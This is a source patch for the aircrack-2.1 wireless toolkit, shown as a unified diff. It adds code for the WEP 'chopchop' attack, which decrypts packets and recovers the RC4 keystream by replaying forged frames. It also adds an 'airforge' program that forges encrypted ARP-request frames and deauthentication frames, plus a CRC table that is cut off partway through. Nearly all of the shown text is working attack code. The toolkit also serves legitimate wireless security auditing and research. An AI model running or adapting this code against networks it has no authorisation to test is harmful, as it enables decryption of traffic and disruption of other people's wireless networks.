rand() & 0xFF; + opt.r_dmac[3] = rand() & 0xFF; + opt.r_dmac[4] = rand() & 0xFF; + } + + /* let's go chopping */ + + memset( ticks, 0, sizeof( ticks ) ); + + nb_pkt_read = 0; + nb_pkt_sent = 0; + + tt = time( NULL ); + + guess = 256; + + alarm( 15 ); + + signal( SIGALRM, sighandler ); + + if( fcntl( fd_in, F_SETFL, O_NONBLOCK ) < 0 ) + { + perror( "fcntl(O_NONBLOCK)" ); + return( 1 ); + } + + while( data_end > data_start ) + { + if( do_exit == 1 ) + { + printf( "exiting.\n\n" ); + return( 1 ); + } + + if( do_exit == 2 ) + { + printf( "\n\nThe chopchop attack appears to have failed. " + "Possible reasons:\n\n * Something is wrong with " + "the driver or the wireless card itself.\n * You " + "are too far from the AP. Get closer or reduce the " + "send rate." ); + + if( is_deauth_mode ) + printf( "\n * The AP isn't vulnerable when operating in " + "non-authenticated mode.\n Run aireplay in " + "authenticated mode instead (-h option).\n\n" ); + else + printf( "\n * The client MAC you have specified " + "is not currently authenticated." + "\n * The AP isn't vulnerable when operating in " + "authenticated mode.\n Run aireplay in non-" + "authenticated mode instead (no -h option).\n\n" ); + return( 1 ); + } + + /* wait for the next timer interrupt */ + + if( read( fd_rtc, &n, sizeof( n ) ) < 0 ) + { + perror( "read(/dev/rtc)" ); + return( 1 ); + } + + ticks[0]++; /* ticks since we entered the while loop */ + ticks[1]++; /* ticks since the last status line update */ + ticks[2]++; /* ticks since the last frame was sent */ + ticks[3]++; /* ticks since started chopping current byte */ + + /* update the status line */ + + if( ticks[1] == 400 ) + { + ticks[1] = 0; + printf( "\rSent %3ld packets, current guess: %02X...\33[K", + nb_pkt_sent, guess ); + fflush( stdout ); + } + + if( data_end == 40 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) / + (int) ( pkh.caplen - ( data_end - 1 ) ) ) + { + printf( "\n\nThe AP appears to drop packets shorter " + "than 40 bytes.\n" ); + + h80211 = buffer; + + z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; + + if( ( chopped[data_end + 0] ^ savebuf[data_end + 0] ) == 0x06 && + ( chopped[data_end + 1] ^ savebuf[data_end + 1] ) == 0x04 && + ( chopped[data_end + 2] ^ savebuf[data_end + 2] ) == 0x00 ) { - tm_prev = time( NULL ); - printf( "\r\33[1KSent %ld packets\r", cnt1 ); - fflush( stdout ); + printf( "Enabling standard workaround: " + "ARP header re-creation.\n" ); + + chopped[z + 10] = savebuf[z + 10] ^ 0x08; + chopped[z + 11] = savebuf[z + 11] ^ 0x06; + chopped[z + 12] = savebuf[z + 12] ^ 0x00; + chopped[z + 13] = savebuf[z + 13] ^ 0x01; + chopped[z + 14] = savebuf[z + 14] ^ 0x08; + chopped[z + 15] = savebuf[z + 15] ^ 0x00; } + else + { + printf( "Enabling standard workaround: " + " IP header re-creation.\n" ); + + n = pkh.caplen - ( z + 16 ); - n = arp_packets[i].length; + chopped[z + 4] = savebuf[z + 4] ^ 0xAA; + chopped[z + 5] = savebuf[z + 5] ^ 0xAA; + chopped[z + 6] = savebuf[z + 6] ^ 0x03; + chopped[z + 7] = savebuf[z + 7] ^ 0x00; + chopped[z + 8] = savebuf[z + 8] ^ 0x00; + chopped[z + 9] = savebuf[z + 9] ^ 0x00; + chopped[z + 10] = savebuf[z + 10] ^ 0x08; + chopped[z + 11] = savebuf[z + 11] ^ 0x00; + chopped[z + 14] = savebuf[z + 14] ^ ( n >> 8 ); + chopped[z + 15] = savebuf[z + 15] ^ ( n & 0xFF ); + + memcpy( buffer, savebuf, pkh.caplen ); + + for( i = z + 4; i < (int) pkh.caplen; i++ ) + h80211[i - 4] = h80211[i] ^ chopped[i]; + + /* sometimes the header length or the tos field vary */ + + for( i = 0; i < 16; i++ ) + { + h80211[z + 8] = 0x40 + i; + chopped[z + 12] = savebuf[z + 12] ^ ( 0x40 + i ); + + for( j = 0; j < 256; j++ ) + { + h80211[z + 9] = j; + chopped[z + 13] = savebuf[z + 13] ^ j; + + if( check_crc_buf( h80211 + z, pkh.caplen - z - 8 ) ) + goto have_crc_match; + } + } - if( write( raw_sock, arp_packets[i].data, n ) != n ) + printf( "This doesn't look like an IP packet, " + "try another one.\n" ); + + } + + have_crc_match: + break; + } + + if( ( ticks[2] * opt.nbpps ) / 4096 > 0 ) + { + /* send one modified frame */ + + ticks[2] = 0; + + memcpy( buffer, chopped, data_end - 1 ); + + /* note: guess 256 is special, it tests if the * + * AP properly drops frames with an invalid ICV * + * so this guess always has its bit 8 set to 0 */ + + if( is_deauth_mode ) { - perror( "write" ); + opt.r_smac[1] |= ( guess < 256 ); + opt.r_smac[5] = guess & 0xFF; + } + else + { + opt.r_dmac[1] |= ( guess < 256 ); + opt.r_dmac[5] = guess & 0xFF; + } + + memcpy( buffer + 10, opt.r_smac, 6 ); + memcpy( buffer + 16, opt.r_dmac, 6 ); + + if( guess < 256 ) + { + buffer[data_end - 2] ^= crc_chop_tbl[guess][3]; + buffer[data_end - 3] ^= crc_chop_tbl[guess][2]; + buffer[data_end - 4] ^= crc_chop_tbl[guess][1]; + buffer[data_end - 5] ^= crc_chop_tbl[guess][0]; + } + + if( send_frame( fd_out, buffer, data_end -1 ) != 0 ) + { + if( errno != EAGAIN ) + { + perror( "write" ); + return( 1 ); + } + } + else + { + nb_pkt_sent++; + if( ++guess > 256 ) guess = 0; + } + } + + /* watch for a response from the AP */ + + memset( buffer, 0, 2048 ); + + if( ( caplen = read( fd_in, buffer, + sizeof( buffer ) ) ) < 0 ) + { + if( errno == EAGAIN ) continue; + perror( "read" ); + return( 1 ); + } + + /* if device is an atheros, remove the FCS */ + + if( memcmp( argv[argc - 1], "ath", 3 ) == 0 ) + caplen -= 4; + + nb_pkt_read++; + + /* skip the prism header if present */ + + h80211 = buffer; + + if( arptype_in == ARPHRD_IEEE80211_PRISM ) + { + n = *(int *)( buffer + 4 ); + + if( n < 8 || n >= (int) caplen ) + continue; + + h80211 += n; + caplen -= n; + } + + /* check if it's a deauthentication packet */ + + if( h80211[0] == 0xC0 ) + { + if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 && + ! is_deauth_mode ) + { + printf( "\rThe client's source MAC you have specified " + "does not appear to\nbe authenticated (got a " + "deauthentication packet from the AP).\n\n" ); + return( 1 ); + } + + if( h80211[4] != opt.r_smac[0] ) continue; + if( h80211[6] != opt.r_smac[2] ) continue; + if( h80211[7] != opt.r_smac[3] ) continue; + if( h80211[8] != opt.r_smac[4] ) continue; + + if( ( h80211[5] & 0xFE ) != + ( opt.r_smac[1] & 0xFE ) ) continue; + + if( ! ( h80211[5] & 1 ) ) + { + printf( "\rThe Access Point does not appear to properly " + "discard frames with an\ninvalid ICV - try running " + "aireplay in authenticated mode (-h) instead.\n\n" ); + return( 1 ); + } + } + else + { + if( is_deauth_mode ) + continue; + + /* check if it's a WEP data packet */ + + if( ( h80211[0] & 0x0C ) != 8 ) continue; + if( ( h80211[0] & 0xF0 ) != 0 ) continue; + if( ( h80211[1] & 0x03 ) != 2 ) continue; + if( ( h80211[1] & 0x40 ) == 0 ) continue; + + /* check the extended IV (TKIP) flag */ + + z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; + + if( ( h80211[z + 3] & 0x20 ) != 0 ) continue; + + /* check the destination address */ + + if( h80211[4] != opt.r_dmac[0] ) continue; + if( h80211[6] != opt.r_dmac[2] ) continue; + if( h80211[7] != opt.r_dmac[3] ) continue; + if( h80211[8] != opt.r_dmac[4] ) continue; + + if( ( h80211[5] & 0xFE ) != + ( opt.r_dmac[1] & 0xFE ) ) continue; + + if( ! ( h80211[5] & 1 ) ) + { + printf( "\nThe Access Point does not appear to properly " + "discard frames with an\ninvalid ICV - try running " + "aireplay in non-authenticated mode instead.\n\n" ); return( 1 ); } + } + + /* we have a winner */ + + guess = h80211[9]; + + chopped[data_end - 1] ^= guess; + chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; + chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; + chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; + chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; + + n = pkh.caplen - data_start; - cnt1++; + printf( "\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | " + "%4ld frames written in %5ldms\n", data_end - 1, + 100 * ( pkh.caplen - data_end ) / n, + chopped[data_end - 1], + chopped[data_end - 1] ^ savebuf[data_end - 1], + nb_pkt_sent, ( 1000 * ticks[3] ) / 4096 ); + + nb_pkt_sent = ticks[3] = 0; + + guess = 256; + + if( is_deauth_mode ) + { + opt.r_smac[1] = rand() & 0x3E; + opt.r_smac[2] = rand() & 0xFF; + opt.r_smac[3] = rand() & 0xFF; + opt.r_smac[4] = rand() & 0xFF; } + else + { + opt.r_dmac[1] = rand() & 0xFE; + opt.r_dmac[2] = rand() & 0xFF; + opt.r_dmac[3] = rand() & 0xFF; + opt.r_dmac[4] = rand() & 0xFF; + } + + data_end--; + + alarm( 0 ); } - printf( "\r\33[1KSent %ld packets.\n", cnt1 ); + /* reveal the plaintext (chopped contains the prga) */ + + h80211 = savebuf; + + z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; + + chopped[z + 4] = savebuf[z + 4] ^ 0xAA; + chopped[z + 5] = savebuf[z + 5] ^ 0xAA; + chopped[z + 6] = savebuf[z + 6] ^ 0x03; + chopped[z + 7] = savebuf[z + 7] ^ 0x00; + chopped[z + 8] = savebuf[z + 8] ^ 0x00; + chopped[z + 9] = savebuf[z + 9] ^ 0x00; + + for( i = z + 4; i < (int) pkh.caplen; i++ ) + h80211[i - 4] = h80211[i] ^ chopped[i]; + + if( ! check_crc_buf( h80211 + z, pkh.caplen - z - 8 ) ) + printf( "\nWarning: ICV checksum verification FAILED!\n" ); + + pkh.caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */ + pkh.len -= 4 + 4; + + h80211[1] &= 0xBF; /* remove the WEP bit, too */ + + /* save the decrypted packet */ + + sprintf( tmp_str, "replay_dec-%02d%02d%02d-%02d%02d%02d.cap", + lt->tm_year - 100, 1 + lt->tm_mon, lt->tm_mday, + lt->tm_hour, lt->tm_min, lt->tm_sec ); + + printf( "\nSaving plaintext in %s\n", tmp_str ); + + if( ( f_cap_out = fopen( tmp_str, "wb+" ) ) == NULL ) + { + perror( "fopen(output pcap,wb+)" ); + return( 1 ); + } + + n = sizeof( struct pcap_file_header ); + + if( fwrite( &pfh, 1, n, f_cap_out ) != (size_t) n ) + { + perror( "fwrite(pcap file header)" ); + return( 1 ); + } + + n = sizeof( pkh ); + + if( fwrite( &pkh, 1, n, f_cap_out ) != (size_t) n ) + { + perror( "fwrite(packet header)" ); + return( 1 ); + } + + n = pkh.caplen; + + if( fwrite( h80211, 1, n, f_cap_out ) != (size_t) n ) + { + perror( "fwrite(packet data)" ); + return( 1 ); + } + + /* save the RC4 xor mask (prga) */ + + sprintf( tmp_str, "replay_dec-%02d%02d%02d-%02d%02d%02d.xor", + lt->tm_year - 100, 1 + lt->tm_mon, lt->tm_mday, + lt->tm_hour, lt->tm_min, lt->tm_sec ); + + printf( "Saving keystream in %s\n", tmp_str ); + + if( ( f_cap_out = fopen( tmp_str, "wb+" ) ) == NULL ) + { + perror( "fopen(output prga,wb+)" ); + return( 1 ); + } + + n = pkh.caplen + 8 - z; + + if( fwrite( chopped + z, 1, n, f_cap_out ) != (size_t) n ) + { + perror( "fwrite(prga data)" ); + return( 1 ); + } + + printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n", + time( NULL ) - tt, + (float) ( pkh.caplen - 6 - z ) / + (float) ( time( NULL ) - tt ) ); + + /* that's all, folks */ return( 0 ); } diff -urN aircrack-2.1.orig/airforge.c aircrack-2.1/airforge.c --- aircrack-2.1.orig/airforge.c 1970-01-01 01:00:00.000000000 +0100 +++ aircrack-2.1/airforge.c 2005-04-22 08:51:21.933064968 +0200 @@ -0,0 +1,267 @@ +/* + * 802.11 ARP-request & deauthentication frame forgery + * + * Copyright (C) 2005 Christophe Devine + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + +#include +#include +#include +#include + +#include "pcap-aireplay.h" +#include "crctable.h" + +#define ARP_REQ \ + "\x08\x40\x02\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ + "\xFF\xFF\xFF\xFF\xFF\xFF\x80\x01\x55\x55\x55\x55\xAA\xAA\x03\x00" \ + "\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\xCC\xCC\xCC\xCC" \ + "\xCC\xCC\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x22\x22\x22\x22" \ + "\x00\x00\x00\x00" + +#define DEAUTH_REQ \ + "\xC0\x00\x02\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \ + "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00" + +char usage[] = + +"\n" +" airforge 2.2 - (C) 2005 Christophe Devine\n" +"\n" +" usage 1: arp-request forgery\n" +"\n" +" arpforge \n" +" \n" +"\n" +" usage 2: deauthentication frame forgery\n" +"\n" +" arpforge \n" +"\n"; + +int getmac( char *s, unsigned char *mac ) +{ + int i = 0, n; + + while( sscanf( s, "%x", &n ) == 1 ) + { + if( n < 0 || n > 255 ) + return( 1 ); + + mac[i] = n; + + if( ++i == 6 ) break; + + if( ! ( s = strchr( s, ':' ) ) ) + break; + + s++; + } + + return( i != 6 ); +} + +int main( int argc, char *argv[] ) +{ + int n; + unsigned long int crc; + FILE *f_prga, *f_cap_out; + + unsigned char h80211[128]; + unsigned char bssid[6]; + unsigned char saddr[6]; + unsigned char daddr[6]; + unsigned char ipsrc[4]; + unsigned char ipdst[4]; + unsigned char prga[44]; + + struct pcap_file_header pfh; + struct pcap_pkthdr pkh; + struct timeval tv; + + if( argc == 4 ) + goto forge_deauth; + + if( argc != 8 ) + { + printf( usage ); + return( 1 ); + } + + if( ( f_prga = fopen( argv[1], "rb" ) ) == NULL ) + { + perror( "fopen(input prga,rb)" ); + return( 1 ); + } + + memcpy( h80211, ARP_REQ, pkh.caplen = 68 ); + + n = atoi( argv[2] ); + + if( n != 1 && n != 2 ) + { + fprintf( stderr, "Invalid type: must be 1 " + "(ToDS) or 2 (FromDS).\n" ); + return( 1 ); + } + + h80211[1] |= n; + + if( getmac( argv[3], bssid ) != 0 ) + { + fprintf( stderr, "Invalid BSSID.\n" ); + return( 1 ); + } + + if( getmac( argv[4], saddr ) != 0 ) + { + fprintf( stderr, "Invalid source MAC.\n" ); + return( 1 ); + } + + memcpy( daddr, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); + + if( ! inet_aton( argv[5], (struct in_addr *) ipsrc ) ) + { + fprintf( stderr, "Invalid source IP.\n" ); + return( 1 ); + } + + if( ! inet_aton( argv[6], (struct in_addr *) ipdst ) ) + { + fprintf( stderr, "Invalid destination IP.\n" ); + return( 1 ); + } + + if( n == 1 ) + { + memcpy( h80211 + 4, bssid, 6 ); + memcpy( h80211 + 10, saddr, 6 ); + memcpy( h80211 + 16, daddr, 6 ); + } + + if( n == 2 ) + { + memcpy( h80211 + 10, bssid, 6 ); + memcpy( h80211 + 16, saddr, 6 ); + memcpy( h80211 + 4, daddr, 6 ); + } + + memcpy( h80211 + 44, saddr, 6 ); + memcpy( h80211 + 50, ipsrc, 4 ); + memcpy( h80211 + 60, ipdst, 4 ); + + /* XXX: this source code lacks comments */ + + crc = 0xFFFFFFFF; + + for( n = 28; n < 64; n++ ) + crc = crc_tbl[(crc ^ h80211[n]) & 0xFF] ^ (crc >> 8); + + crc = ~crc; + + h80211[64] = (crc ) & 0xFF; + h80211[65] = (crc >> 8) & 0xFF; + h80211[66] = (crc >> 16) & 0xFF; + h80211[67] = (crc >> 24) & 0xFF; + + if( fread( prga, 44, 1, f_prga ) != 1 ) + { + fprintf( stderr, "fread(44 bytes) failed - prga too short ?\n" ); + return( 1 ); + } + + memcpy( h80211 + 24, prga, 4 ); + + for( n = 28; n < 68; n++ ) + h80211[n] ^= prga[n - 24]; + + n = 7; + + goto write_packet; + +forge_deauth: + + memcpy( h80211, DEAUTH_REQ, pkh.caplen = 26 ); + + if( getmac( argv[1], bssid ) != 0 ) + { + fprintf( stderr, "Invalid BSSID.\n" ); + return( 1 ); + } + + if( getmac( argv[2], daddr ) != 0 ) + { + fprintf( stderr, "Invalid destination MAC.\n" ); + return( 1 ); + } + + memcpy( h80211 + 4, daddr, 6 ); + memcpy( h80211 + 10, bssid, 6 ); + memcpy( h80211 + 16, bssid, 6 ); + + n = 3; + +write_packet: + + if( ( f_cap_out = fopen( argv[n], "wb+" ) ) == NULL ) + { + fprintf( stderr, "failed: fopen(%s,wb+)\n", argv[7] ); + return( 1 ); + } + + pfh.magic = TCPDUMP_MAGIC; + pfh.version_major = PCAP_VERSION_MAJOR; + pfh.version_minor = PCAP_VERSION_MINOR; + pfh.thiszone = 0; + pfh.sigfigs = 0; + pfh.snaplen = 65535; + pfh.linktype = LINKTYPE_IEEE802_11; + + n = sizeof( struct pcap_file_header ); + + if( fwrite( &pfh, 1, n, f_cap_out ) != (size_t) n ) + { + fprintf( stderr, "failed: fwrite(pcap file header)\n" ); + return( 1 ); + } + + gettimeofday( &tv, NULL ); + + pkh.tv_sec = tv.tv_sec; + pkh.tv_usec = tv.tv_usec; + pkh.len = pkh.caplen; + + n = sizeof( pkh ); + + if( fwrite( &pkh, 1, n, f_cap_out ) != (size_t) n ) + { + fprintf( stderr, "fwrite(packet header) failed\n" ); + return( 1 ); + } + + n = pkh.caplen; + + if( fwrite( h80211, 1, n, f_cap_out ) != (size_t) n ) + { + fprintf( stderr, "fwrite(packet data) failed\n" ); + return( 1 ); + } + + printf( "Done.\n" ); + + return( 0 ); +} diff -urN aircrack-2.1.orig/crctable.h aircrack-2.1/crctable.h --- aircrack-2.1.orig/crctable.h 1970-01-01 01:00:00.000000000 +0100 +++ aircrack-2.1/crctable.h 2005-04-22 08:51:21.934064816 +0200 @@ -0,0 +1,108 @@ +#ifndef _CRCTABLE_H +#define _CRCTABLE_H + +const unsigned long int crc_tbl[256] = +{ + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D +}; + +const unsigned char crc_chop_tbl[256][4] = +{ + { 0x26,0x70,0x6A,0x0F }, { 0x67,0x76,0x1B,0xD4 }, { 0xE5,0x7A,0xF9,0x62 }, { 0xA4,0x7C,0x88,0xB9 }, + { 0xA0,0x65,0x4C,0xD4 }, { 0xE1,0x63,0x3D,0x0F }, { 0x63,0x6F,0xDF,0xB9 }, { 0x22,0x69,0xAE,0x62 }, + { 0x6B,0x5D,0x57,0x62 }, { 0x2A,0x5B,0x26,0xB9 }, { 0xA8,0x57,0xC4,0x0F }, { 0xE9,0x51,0xB5,0xD4 }, + { 0xED,0x48,0x71,0xB9 }, { 0xAC,0x4E,0x00,0x62 }, { 0x2E,0x42,0xE2,0xD4 }, { 0x6F,0x44,0x93,0x0F }, + { 0xBC,0x2A,0x10,0xD5 }, { 0xFD,0x2C,0x61,0x0E }, { 0x7F,0x20,0x83,0xB8 }, { 0x3E,0x26,0xF2,0x63 }, + { 0x3A,0x3F,0x36,0x0E }, { 0x7B,0x39,0x47,0xD5 }, { 0xF9,0x35,0xA5,0x63 }, { 0xB8,0x33,0xD4,0xB8 }, + { 0xF1,0x07,0x2D,0xB8 }, { 0xB0,0x01,0x5C,0x63 }, { 0x32,0x0D,0xBE,0xD5 }, { 0x73,0x0B,0xCF,0x0E }, + { 0x77,0x12,0x0B,0x63 }, { 0x36,0x14,0x7A,0xB8 }, { 0xB4,0x18,0x98,0x0E }, { 0xF5,0x1E,0xE9,0xD5 }, + { 0x53,0xC3,0xEF,0x60 }, { 0x12,0xC5,0x9E,0xBB }, { 0x90,0xC9,0x7C,0x0D }, { 0xD1,0xCF,0x0D,0xD6 }, + { 0xD5,0xD6,0xC9,0xBB }, { 0x94,0xD0,0xB8,0x60 }, { 0x16,0xDC,0x5A,0xD6 }, { 0x57,0xDA,0x2B,0x0D }, + { 0x1E,0xEE,0xD2,0x0D }, { 0x5F,0xE8,0xA3,0xD6 }, { 0xDD,0xE4,0x41,0x60 }, { 0x9C,0xE2,0x30,0xBB }, + { 0x98,0xFB,0xF4,0xD6 }, { 0xD9,0xFD,0x85,0x0D }, { 0x5B,0xF1,0x67,0xBB }, { 0x1A,0xF7,0x16,0x60 }, + { 0xC9,0x99,0x95,0xBA }, { 0x88,0x9F,0xE4,0x61 }, { 0x0A,0x93,0x06,0xD7 }, { 0x4B,0x95,0x77,0x0C }, + { 0x4F,0x8C,0xB3,0x61 }, { 0x0E,0x8A,0xC2,0xBA }, { 0x8C,0x86,0x20,0x0C }, { 0xCD,0x80,0x51,0xD7 }, + { 0x84,0xB4,0xA8,0xD7 }, { 0xC5,0xB2,0xD9,0x0C }, { 0x47,0xBE,0x3B,0xBA }, { 0x06,0xB8,0x4A,0x61 }, + { 0x02,0xA1,0x8E,0x0C }, { 0x43,0xA7,0xFF,0xD7 }, { 0xC1,0xAB,0x1D,0x61 }, { 0x80,0xAD,0x6C,0xBA }, + { 0xCC,0x16,0x61,0xD0 }, { 0x8D,0x10,0x10,0x0B }, { 0x0F,0x1C,0xF2,0xBD }, { 0x4E,0x1A,0x83,0x66 }, + { 0x4A,0x03,0x47,0x0B }, { 0x0B,0x05,0x36,0xD0 }, { 0x89,0x09,0xD4,0x66 }, { 0xC8,0x0F,0xA5,0xBD }, + { 0x81,0x3B,0x5C,0xBD }, { 0xC0,0x3D,0x2D,0x66 }, { 0x42,0x31,0xCF,0xD0 }, { 0x03,0x37,0xBE,0x0B }, + { 0x07,0x2E,0x7A,0x66 }, { 0x46,0x28,0x0B,0xBD }, { 0xC4,0x24,0xE9,0x0B }, { 0x85,0x22,0x98,0xD0 }, + { 0x56,0x4C,0x1B,0x0A }, { 0x17,0x4A,0x6A,0xD1 }, { 0x95,0x46,0x88,0x67 }, { 0xD4,0x40,0xF9,0xBC }, + { 0xD0,0x59,0x3D,0xD1 }, { 0x91,0x5F,0x4C,0x0A }, { 0x13,0x53,0xAE,0xBC }, { 0x52,0x55,0xDF,0x67 }, + { 0x1B,0x61,0x26,0x67 }, { 0x5A,0x67,0x57,0xBC }, { 0xD8,0x6B,0xB5,0x0A }, { 0x99,0x6D,0xC4,0xD1 }, + { 0x9D,0x74,0x00,0xBC }, { 0xDC,0x72,0x71,0x67 }, { 0x5E,0x7E,0x93,0xD1 }, { 0x1F,0x78,0xE2,0x0A }, + { 0xB9,0xA5,0xE4,0xBF }, { 0xF8,0xA3,0x95,0x64 }, { 0x7A,0xAF,0x77,0xD2 }, { 0x3B,0xA9,0x06,0x09 }, + { 0x3F,0xB0,0xC2,0x64 }, { 0x7E,0xB6,0xB3,0xBF }, { 0xFC,0xBA,0x51,0x09 }, { 0xBD,0xBC,0x20,0xD2 }, + { 0xF4,0x88,0xD9,0xD2 }, { 0xB5,0x8E,0xA8,0x09 }, { 0x37,0x82,0x4A,0xBF }, { 0x76,0x84,0x3B,0x64 }, + { 0x72,0x9D,0xFF,0x09 }, { 0x33,0x9B,0x8E,0xD2 }, { 0xB1,0x97,0x6C,0x64 }, { 0xF0,0x91,0x1D,0xBF }, + { 0x23,0xFF,0x9E,0x65 }, { 0x62,0xF9,0xEF,0xBE }, { 0xE0,0xF5,0x0D,0x08 }, { 0xA1,0xF3,0x7C,0xD3 }, + { 0xA5,0xEA,0xB8,0xBE }, { 0xE4,0xEC,0xC9,0x65 }, { 0x66,0xE0,0x2B,0xD3 }, { 0x27,0xE6,0x5A,0x08 }, + { 0x6E,0xD2,0xA3,0x08 }, { 0x2F,0xD4,0xD2,0xD3 }, { 0xAD,0xD8,0x30,0x65 }, { 0xEC,0xDE,0x41,0xBE }, + { 0xE8,0xC7,0x85,0xD3 }, { 0xA9,0xC1,0xF4,0x08 }, { 0x2B,0xCD,0x16,0xBE }, { 0x6A,0xCB,0x67,0x65 }, + { 0xB3,0xBB,0x0D,0x6A }, { 0xF2,0xBD,0x7C,0xB1 }, { 0x70,0xB1,0x9E,0x07 }, { 0x31,0xB7,0xEF,0xDC }, + { 0x35,0xAE,0x2B,0xB1 }, { 0x74,0xA8,0x5A,0x6A }, { 